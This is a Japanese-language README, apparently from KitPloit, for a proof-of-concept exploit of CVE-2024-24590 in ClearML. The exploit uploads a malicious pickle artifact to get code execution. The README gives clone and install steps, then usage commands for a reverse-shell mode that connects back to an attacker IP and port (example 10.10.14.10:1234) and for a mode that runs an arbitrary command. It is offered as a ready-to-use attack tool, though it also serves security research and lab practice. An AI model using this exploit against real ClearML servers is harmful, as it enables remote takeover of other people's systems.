ClearML エクスプロイトスクリプト

このリポジトリには、CVE-2024-24590 用の Python エクスプロイトスクリプトが含まれています。このスクリプトは、ClearML に悪意のある pickle ファイルをアップロードし、リバースシェルまたはカスタムコマンドを実行するように設計されています。

特徴

• 悪意のある pickle アーティファクトを ClearML にアップロードします。
• ターゲットマシン上でリバースシェルまたはカスタムコマンドを実行します。
• カスタムプロジェクト名とタスク名をサポートします。
• タスクにタグを設定できます。

使用方法

前提条件

• Python 3.x
• ClearML SDK
• argparse（通常は Python に含まれています）

インストール

1. リポジトリをクローンします:

   root@kitploit:~

   git clone https://github.com/diegogarciayala/CVE-2024-24590-ClearML-RCE-CMD-POC.git
   cd CVE-2024-24590-ClearML-RCE-CMD-POC
   

2. ClearML SDK をインストールします:

   root@kitploit:~

   pip install clearml
   clearml-init
   

スクリプトの実行

このスクリプトは、default と cmd の 2 つの動作モードをサポートしています。

デフォルトモード

このモードでは、リバースシェルを確立するために攻撃者の IP アドレスとポートを指定する必要があります。

python3 exploit.py default <project_name> <task_name> <attacker_ip> <attacker_port>

CMD モード

このモードでは、実行するカスタムコマンドを指定できます。

python3 exploit.py cmd <project_name> <task_name> --cmd "<your_command>"

例

python3 exploit.py default "Black Swan" "pwned4" "10.10.14.10" "1234"

python3 exploit.py cmd "Black Swan" "pwned4" --cmd "touch /tmp/shell.sh"

作者情報

• HackTheBox: sl4sh1t0
• Telegram: sl4sh1t0
• X (Twitter): @diegogarciayala

クレジット

Not So Clear: MLOpsソリューションがいかにしてサプライチェーンの水を濁らせるか